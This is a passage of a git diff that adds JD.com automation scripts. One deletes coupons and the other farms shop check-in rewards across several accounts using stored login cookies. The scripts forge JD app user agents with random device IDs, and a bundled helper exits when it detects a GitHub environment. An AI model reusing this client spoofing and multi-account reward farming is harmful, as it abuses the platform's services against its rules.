Env('删除优惠券'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnsubscribeNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let goodPageSize = $.getdata('jdUnsubscribePageSize') || 20;// 运行一次取消多少个已关注的商品。数字0表示不取关任何商品 +let shopPageSize = $.getdata('jdUnsubscribeShopPageSize') || 20;// 运行一次取消多少个已关注的店铺。数字0表示不取关任何店铺 +let stopGoods = $.getdata('jdUnsubscribeStopGoods') || '';//遇到此商品不再进行取关,此处内容需去商品详情页(自营处)长按拷贝商品信息 +let stopShop = $.getdata('jdUnsubscribeStopShop') || '';//遇到此店铺不再进行取关,此处内容请尽量从头开始输入店铺名称 +let delCount = 0; +let hasKeyword = 0; // 包含关键词的券 +const JD_API_HOST = 'https://wq.jd.com/'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】删除优惠券失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getCoupon(); + await showMsg(); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function delCoupon(couponId, couponTitle) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/activeapi/deletecouponlistwithfinance?couponinfolist=${couponId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKC&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.retcode === 0) { + console.log(`删除优惠券---${couponTitle}----成功\n`); + delCount++; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let states = ['1', '6'] + for (let s = 0; s < states.length; s++) { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=${states[s]}&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = '' + let couponId = '' + if (states[s] === '6') { + // 删除已过期 + let expire = data['coupon']['expired'] + for (let i = 0; i < expire.length; i++) { + couponTitle = expire[i].couponTitle + couponId = escape(`${expire[i].couponid},1,0`); + await delCoupon(couponId, couponTitle) + } + // 删除已使用 + let used = data['coupon']['used'] + for (let i = 0; i < used.length; i++) { + couponTitle = used[i].couponTitle + couponId = escape(`${used[i].couponid},0,0`); + await delCoupon(couponId, couponTitle) + } + } else if (states[s] === '1') { + // 删除可使用且非超市、生鲜、京贴 + let useable = data.coupon.useable + for (let i = 0; i < useable.length; i++) { + couponTitle = useable[i].limitStr + couponId = escape(`${useable[i].couponid},1,0`); + if (!isJDCoupon(couponTitle)) { + await delCoupon(couponId, couponTitle) + } else { + $.log(`跳过删除:${couponTitle}`) + hasKeyword++; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + } + }) +} + +function isJDCoupon(title) { + if (title.indexOf('京东') > -1) + return true + else if (title.indexOf('超市') > -1) + return true + else if (title.indexOf('京贴') > -1) + return true + else if (title.indexOf('全品类') > -1) + return true + else if (title.indexOf('话费') > -1) + return true + else if (title.indexOf('小鸽有礼') > -1) + return true + else if (title.indexOf('旗舰店') > -1) + return false + else if (title.indexOf('生鲜') > -1) + return true + else + return false +} + +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_dpqd.js b/jd_dpqd.js new file mode 100644 index 0000000..4d86a6b --- /dev/null +++ b/jd_dpqd.js @@ -0,0 +1,367 @@ +/* +cron 0 0 * * * jd_dpqd.js +店铺签到,各类店铺签到,有新的店铺直接添加token即可 +搬运cui521大佬脚本,请勿外传!!! +环境变量: +DPQDTK: token1&token2 +仓库不再提供token +*/ +let token = [] +if (process.env.DPQDTK) { + if (process.env.DPQDTK.includes('\n')) { + token = [...process.env.DPQDTK.split('\n'),...token] + } else { + token = [...process.env.DPQDTK.split('&'),...token] + } +} +if (!token.length) { + console.log('无店铺签到token,不执行.需自备token:环境变DPQDTK: tk1&tk2.') + return +} +const $ = new Env('店铺签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = '', message; +const JD_API_HOST = 'https://api.m.jd.com/api?appid=interCenter_shopSign'; + +let activityId='' +let vender='' +let num=0 +let shopname='' + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = jsonParse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await dpqd() + await showMsg() + await $.wait(1500) + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//开始店铺签到 +async function dpqd(){ + for (var j = 0; j < token.length; j++) { + num=j+1 + if (token[j]=='') {continue} + getUA() + await getvenderId(token[j]) + if (vender=='') {continue} + await getvenderName(vender) + await getActivityInfo(token[j],vender) + await signCollectGift(token[j],vender,activityId) + await taskUrl(token[j],vender) + } +} + +//获取店铺ID +function getvenderId(token) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/api?appid=interCenter_shopSign&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:%22%22}&jsonp=jsonp1000`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": 'https://h5.m.jd.com/', + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + if (data.code==402) { + vender='' + console.log(`第`+num+`个店铺签到活动已失效`) + message +=`第`+num+`个店铺签到活动已失效\n` + }else{ + vender=data.data.venderId + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//获取店铺名称 +function getvenderName(venderId) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId}`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(data) + shopName = data.shopName + console.log(`【`+shopName+`】`) + message +=`【`+shopName+`】` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + +//获取店铺活动信息 +function getActivityInfo(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:${venderId}}&jsonp=jsonp1005`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(data) + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + activityId=data.data.id + //console.log(data) + let mes=''; + for (let i = 0; i < data.data.continuePrizeRuleList.length; i++) { + const level=data.data.continuePrizeRuleList[i].level + const discount=data.data.continuePrizeRuleList[i].prizeList[0].discount + mes += "签到"+level+"天,获得"+discount+'豆' + } + // console.log(message+mes+'\n') + // message += mes+'\n' + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺签到 +function signCollectGift(token,venderId,activitytemp) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_signCollectGift&body={%22token%22:%22${token}%22,%22venderId%22:688200,%22activityId%22:${activitytemp},%22type%22:56,%22actionType%22:7}&jsonp=jsonp1004`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺获取签到信息 +function taskUrl(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getSignRecord&body={%22token%22:%22${token}%22,%22venderId%22:${venderId},%22activityId%22:${activityId},%22type%22:56}&jsonp=jsonp1006`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "referer": `https://h5.m.jd.com/`, + "User-Agent": $.UA + // "user-agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + console.log(`已签到:`+data.data.days+`天`) + message +=`已签到:`+data.data.days+`天\n` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function showMsg() { + if ($.isNode()) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + allMessage += `【京东账号${$.index}】${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": `jdapp;android;9.3.5;10;3353234393134326-3673735303632613;network/wifi;model/MI 8;addressid/138719729;aid/3524914bc77506b1;oaid/274aeb3d01b03a22;osVer/29;appBuild/86390;psn/Mp0dlaZf4czQtfPNMEfpcYU9S/f2Vv4y|2255;psq/1;adk/;ads/;pap/JA2015_311210|9.3.5|ANDROID 10;osv/10;pv/2039.1;jdv/0|androidapp|t_335139774|appshare|QQfriends|1611211482018|1611211495;ref/com.jingdong.app.mall.home.JDHomeFragment;partner/jingdong;apprpd/Home_Main;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36` + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = data['base'].nickname; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getUA() { + $.UA = `jdapp;iPhone;10.2.2;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167863;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new 